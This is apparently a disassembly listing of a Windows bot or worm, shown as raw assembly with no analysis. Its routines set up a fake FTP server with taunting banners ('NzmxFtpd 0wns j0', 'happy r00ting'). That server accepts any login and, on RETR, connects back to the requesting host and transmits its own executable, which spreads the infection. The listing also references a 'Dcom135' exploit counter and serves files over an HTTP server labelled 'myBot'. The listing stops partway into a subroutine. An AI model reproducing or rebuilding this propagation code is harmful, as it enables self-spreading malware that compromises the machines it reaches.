push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404FF8
add esp, 0BCh
test al, al
jz short loc_405208
xor eax, eax
inc eax
jmp short loc_405280
; ---------------------------------------------------------------------------
loc_405208: ; CODE XREF: .data:00405201j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_429114
lea eax, [ebp-210h]
push 200h
push eax
call sub_41752A
push 0
lea eax, [ebp-210h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40D476
lea eax, [ebp-210h]
push eax
call sub_40BD8D
mov eax, [ebp+0B0h]
add esp, 2Ch
imul eax, 3Ch
lea eax, dword_429D68[eax]
inc dword ptr [eax]
jmp short loc_40527E
; ---------------------------------------------------------------------------
loc_40526E: ; CODE XREF: .data:004051C1j
push 1
push edi
call dword_4231F4 ; shutdown
push edi
call dword_423220 ; closesocket
loc_40527E: ; CODE XREF: .data:0040526Cj
xor eax, eax
loc_405280: ; CODE XREF: .data:00405206j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405285 proc near ; DATA XREF: sub_4070A3+227o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_24], ebx
mov [ebp+var_28], ebx
mov [ebp+var_238], edi
mov [ebp+var_438], edi
call dword_4231E0 ; WSAStartup
push edi
call sub_4183B1
push eax
call sub_417008
push 0FEB0h
push 406h
call sub_4151D8
add esp, 10h
mov dword_43BD0C, eax
push edi
push ebx
push 2
call dword_423214 ; socket
mov esi, eax
lea eax, [ebp+var_24]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
call dword_4231E4 ; setsockopt
lea eax, [ebp+var_28]
push eax
push 8004667Eh
push esi
call dword_423218 ; ioctlsocket
mov ax, word ptr dword_43BD0C
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call dword_423224 ; htons
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
call dword_4231E8 ; bind
test eax, eax
jge short loc_40535A
mov eax, ebx
jmp loc_405865
; ---------------------------------------------------------------------------
loc_40535A: ; CODE XREF: sub_405285+CCj
push 0Ah
push esi
call dword_4231EC ; listen
mov [ebp+var_238], ebx
mov ebx, dword_423208
mov [ebp+var_234], esi
mov [ebp+var_4], esi
loc_405378: ; CODE XREF: sub_405285+12Aj
; sub_405285+5D8j
push 41h
lea esi, [ebp+var_238]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor edi, edi
lea eax, [ebp+var_438]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_42320C ; select
cmp eax, 0FFFFFFFFh
jz loc_405862
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_405378
loc_4053B1: ; CODE XREF: sub_405285+5D2j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417030
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_417030
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_422746 ; __WSAFDIsSet
test eax, eax
jz loc_405850
cmp edi, [ebp+var_C]
jnz short loc_40545A
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_134]
push eax
push [ebp+var_C]
call dword_4231F0 ; accept
cmp eax, 0FFFFFFFFh
jz loc_405850
mov edx, [ebp+var_238]
xor ecx, ecx
cmp edx, esi
jbe short loc_40542C
loc_40541E: ; CODE XREF: sub_405285+1A5j
cmp [ebp+ecx*4+var_234], eax
jz short loc_40542C
inc ecx
cmp ecx, edx
jb short loc_40541E
loc_40542C: ; CODE XREF: sub_405285+197j
; sub_405285+1A0j
cmp ecx, edx
jnz short loc_405442
cmp edx, 40h
jnb short loc_405442
mov [ebp+ecx*4+var_234], eax
inc [ebp+var_238]
loc_405442: ; CODE XREF: sub_405285+1A9j
; sub_405285+1AEj
cmp eax, [ebp+var_4]
jle short loc_40544A
mov [ebp+var_4], eax
loc_40544A: ; CODE XREF: sub_405285+1C0j
push esi
push 15h
push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_405850
; ---------------------------------------------------------------------------
loc_40545A: ; CODE XREF: sub_405285+167j
push esi
lea eax, [ebp+var_29C]
push 64h
push eax
push edi
call dword_423204 ; recv
test eax, eax
jg short loc_4054B7
mov ecx, [ebp+var_238]
xor eax, eax
cmp ecx, esi
jbe short loc_4054AB
loc_40547B: ; CODE XREF: sub_405285+202j
cmp [ebp+eax*4+var_234], edi
jz short loc_4054A0
inc eax
cmp eax, ecx
jb short loc_40547B
jmp short loc_4054AB
; ---------------------------------------------------------------------------
loc_40548B: ; CODE XREF: sub_405285+21Ej
mov ecx, [ebp+eax*4+var_230]
mov [ebp+eax*4+var_234], ecx
mov ecx, [ebp+var_238]
inc eax
loc_4054A0: ; CODE XREF: sub_405285+1FDj
dec ecx
cmp eax, ecx
jb short loc_40548B
dec [ebp+var_238]
loc_4054AB: ; CODE XREF: sub_405285+1F4j
; sub_405285+204j
push edi
call dword_423220 ; closesocket
jmp loc_405850
; ---------------------------------------------------------------------------
loc_4054B7: ; CODE XREF: sub_405285+1E8j
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS ; "%s %s"
push eax
call sub_418752
lea eax, [ebp+var_AC]
push offset aUser_0 ; "USER"
push eax
call sub_4173D0
add esp, 18h
test eax, eax
jnz short loc_4054FB
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_4054FB: ; CODE XREF: sub_405285+267j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40551F
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_40551F: ; CODE XREF: sub_405285+28Bj
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405543
push esi
push 0Dh
push offset a215Nzmxftpd ; "215 NzmxFtpd\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_405543: ; CODE XREF: sub_405285+2AFj
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405567
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_405567: ; CODE XREF: sub_405285+2D3j
lea eax, [ebp+var_AC]
push offset off_42933C
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40558B
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_40558B: ; CODE XREF: sub_405285+2F7j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4055C6
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4055C6
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_4055C6: ; CODE XREF: sub_405285+31Bj
; sub_405285+332j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405601
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405601
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_405601: ; CODE XREF: sub_405285+356j
; sub_405285+36Dj
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40564F
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_40563F: ; CODE XREF: sub_405285+409j
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_40583E
; ---------------------------------------------------------------------------
loc_40564F: ; CODE XREF: sub_405285+391j
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405690
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_40563F
; ---------------------------------------------------------------------------
loc_405690: ; CODE XREF: sub_405285+3DFj
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_405761
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_418752
lea eax, [ebp+var_F8]
push eax
call sub_41751F
mov [ebp+var_8], eax
lea eax, [ebp+var_2D0]
push eax
call sub_41751F
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_417030
push [ebp+arg_0]
lea eax, [ebp+var_F8]
push [ebp+var_8]
push offset aXX ; "%x%x\n"
push eax
call sub_416FB6
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_41873B
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_416FB6
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40583B
; ---------------------------------------------------------------------------
loc_405761: ; CODE XREF: sub_405285+420j
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_40581C
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_40586C
pop ecx
cmp eax, 1
pop ecx
jnz short loc_405812
call sub_4058E9
cmp eax, 1
jnz loc_40583E
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_43BD0C
push eax
lea eax, [ebp+var_8DC]
push offset unk_429190
push eax
call sub_416FB6
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_405803
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40D476
add esp, 14h
loc_405803: ; CODE XREF: sub_405285+559j
lea eax, [ebp+var_8DC]
push eax
call sub_40BD8D
pop ecx
jmp short loc_40583E
; ---------------------------------------------------------------------------
loc_405812: ; CODE XREF: sub_405285+513j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40583B
; ---------------------------------------------------------------------------
loc_40581C: ; CODE XREF: sub_405285+4F1j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40583E
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40583B: ; CODE XREF: sub_405285+271j
; sub_405285+295j ...
push edi
call ebx ; send
loc_40583E: ; CODE XREF: sub_405285+3C5j
; sub_405285+51Dj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417030
add esp, 0Ch
loc_405850: ; CODE XREF: sub_405285+15Ej
; sub_405285+187j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_4053B1
jmp loc_405378
; ---------------------------------------------------------------------------
loc_405862: ; CODE XREF: sub_405285+11Ej
xor eax, eax
inc eax
loc_405865: ; CODE XREF: sub_405285+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_405285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40586C proc near ; CODE XREF: sub_405285+509p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4231E0 ; WSAStartup
push 0
push 1
push 2
call dword_423214 ; socket
push [ebp+arg_0]
mov dword_43BD08, eax
mov [ebp+var_10], 2
call dword_4231FC ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_423224 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_43BD08
call dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4058E4
push dword_43BD08
call dword_423220 ; closesocket
call dword_423200 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4058E4: ; CODE XREF: sub_40586C+60j
xor eax, eax
inc eax
leave
retn
sub_40586C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4058E9 proc near ; CODE XREF: sub_405285+515p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_423094 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_4176A8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405980
test byte ptr [esi+0Ch], 10h
jnz short loc_405964
push edi
mov edi, 400h
loc_40592C: ; CODE XREF: sub_4058E9+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_418786
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_43BD08
call dword_423208 ; send
push 1
call dword_423064 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40592C
pop edi
loc_405964: ; CODE XREF: sub_4058E9+3Bj
push esi
call sub_417600
pop ecx
push dword_43BD08
call dword_423220 ; closesocket
call dword_423200 ; WSACleanup
xor eax, eax
inc eax
loc_405980: ; CODE XREF: sub_4058E9+35j
pop esi
leave
retn
sub_4058E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405983 proc near ; DATA XREF: sub_4070A3+333o
; sub_40EC43+548Do
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_417830
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_417030
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43EB24 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43EBA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_405D49
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_444574[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43EB50 ; bind
cmp eax, 0FFFFFFFFh
jz loc_405D49
push 7FFFFFFFh
push edi
call dword_43EB4C ; listen
cmp eax, 0FFFFFFFFh
jz loc_405D49
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43EBC0 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_405D49
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_405A5A: ; CODE XREF: sub_405983+3BCj
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43EB0C ; select
cmp eax, 0FFFFFFFFh
jz loc_405D44
xor edi, edi
mov [ebp+arg_0], edi
loc_405A90: ; CODE XREF: sub_405983+3B6j
lea eax, [ebp+var_6F0]
push eax
push edi
call dword_43EA1C ; __WSAFDIsSet
test eax, eax
jz loc_405D2F
cmp edi, [ebp+var_8]
jnz short loc_405B11
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_43EBB8 ; accept
cmp eax, 0FFFFFFFFh
jz loc_405D2F
xor ecx, ecx
test ebx, ebx
jbe short loc_405AE3
loc_405AD5: ; CODE XREF: sub_405983+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_405AE3
inc ecx
cmp ecx, ebx
jb short loc_405AD5
loc_405AE3: ; CODE XREF: sub_405983+150j
; sub_405983+159j
cmp ecx, ebx
jnz short loc_405B00
cmp ebx, 40h
jnb short loc_405B00
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_405B00: ; CODE XREF: sub_405983+162j
; sub_405983+167j
cmp eax, [ebp+var_4]
jbe loc_405D2F
mov [ebp+var_4], eax
jmp loc_405D2F
; ---------------------------------------------------------------------------
loc_405B11: ; CODE XREF: sub_405983+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_417030
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417030
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call dword_43EB3C ; recv
test eax, eax
jg short loc_405B98
push edi
call dword_43EBBC ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_405D2F
loc_405B5D: ; CODE XREF: sub_405983+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_405B85
inc eax
cmp eax, ebx
jb short loc_405B5D
jmp loc_405D2F
; ---------------------------------------------------------------------------
loc_405B70: ; CODE XREF: sub_405983+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_405B85: ; CODE XREF: sub_405983+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_405B70
dec ebx
mov [ebp+var_128], ebx
jmp loc_405D2F
; ---------------------------------------------------------------------------
loc_405B98: ; CODE XREF: sub_405983+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_417030
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_4177B0
add esp, 10h
test eax, eax
jbe loc_405D2F
loc_405BC5: ; CODE XREF: sub_405983+2F9j
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405C6B
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417580
pop ecx
test eax, eax
pop ecx
jz short loc_405C3B
lea eax, [ebp+var_18F0]
push eax
call sub_4177B0
cmp eax, 5
pop ecx
jbe short loc_405C3B
mov eax, offset asc_429420 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417580
pop ecx
pop ecx
push eax
call sub_417580
pop ecx
pop ecx
push eax
call sub_41886E
push eax
lea eax, [ebp+var_23C]
push eax
call sub_4176C0
add esp, 10h
jmp short loc_405C52
; ---------------------------------------------------------------------------
loc_405C3B: ; CODE XREF: sub_405983+26Ej
; sub_405983+280j
lea eax, [ebp+var_18F0]
push offset asc_42941C ; "\r\n"
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_405C87
loc_405C52: ; CODE XREF: sub_405983+2B6j
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417030
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405C6B: ; CODE XREF: sub_405983+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_4177B0
cmp edi, eax
pop ecx
jb loc_405BC5
jmp loc_405D2F
; ---------------------------------------------------------------------------
loc_405C87: ; CODE XREF: sub_405983+2CDj
xor eax, eax
test ebx, ebx
jbe short loc_405CC3
loc_405C8D: ; CODE XREF: sub_405983+319j
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_405CB5
inc eax
cmp eax, ebx
jb short loc_405C8D
jmp short loc_405CC3
; ---------------------------------------------------------------------------
loc_405CA0: ; CODE XREF: sub_405983+337j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_405CB5: ; CODE XREF: sub_405983+314j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_405CA0
dec ebx
mov [ebp+var_128], ebx
loc_405CC3: ; CODE XREF: sub_405983+308j
; sub_405983+31Bj
lea eax, [ebp+var_360]
push eax
call sub_4177B0
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_4177B0
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_405D26
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_43EBC0 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_405F35
add esp, 14h
jmp short loc_405D2F
; ---------------------------------------------------------------------------
loc_405D26: ; CODE XREF: sub_405983+364j
push [ebp+arg_0]
call dword_43EBBC ; closesocket
loc_405D2F: ; CODE XREF: sub_405983+11Dj
; sub_405983+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_405A90
jmp loc_405A5A
; ---------------------------------------------------------------------------
loc_405D44: ; CODE XREF: sub_405983+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_405D49: ; CODE XREF: sub_405983+6Aj
; sub_405983+92j ...
call dword_43EAB8 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4293D8
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405D8F
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40D476
add esp, 14h
loc_405D8F: ; CODE XREF: sub_405983+3E7j
lea eax, [ebp+var_8F0]
push eax
call sub_40BD8D
pop ecx
push edi
call dword_43EBBC ; closesocket
push [ebp+var_254]
call sub_416D90
pop ecx
push ebx
call dword_423054 ; ExitThread
pop edi
pop esi
pop ebx
sub_405983 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405DB9 proc near ; DATA XREF: sub_405F35+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_417830
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_416FB6
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_416FB6
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_405E24
push offset aTextHtml ; "text/html"
jmp short loc_405E29
; ---------------------------------------------------------------------------
loc_405E24: ; CODE XREF: sub_405DB9+62j
push offset aApplicationOct ; "application/octet-stream"
loc_405E29: ; CODE XREF: sub_405DB9+69j
push eax
call sub_416FB6
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_42309C ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_423098 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_405E9C
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_416FB6
add esp, 24h
jmp short loc_405EB7
; ---------------------------------------------------------------------------
loc_405E9C: ; CODE XREF: sub_405DB9+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_416FB6
add esp, 28h
loc_405EB7: ; CODE XREF: sub_405DB9+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_43EB74 ; send
cmp [ebp+var_A4], edi
jnz short loc_405EF7
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406865
pop ecx
pop ecx
jmp short loc_405F14
; ---------------------------------------------------------------------------
loc_405EF7: ; CODE XREF: sub_405DB9+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4061E4
add esp, 10h
loc_405F14: ; CODE XREF: sub_405DB9+13Cj
push [ebp+var_44C]
call dword_43EBBC ; closesocket
push [ebp+var_B4]
call sub_416D90
pop ecx
push edi
call dword_423054 ; ExitThread
pop edi
pop esi
sub_405DB9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F35 proc near ; CODE XREF: sub_405983+399p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
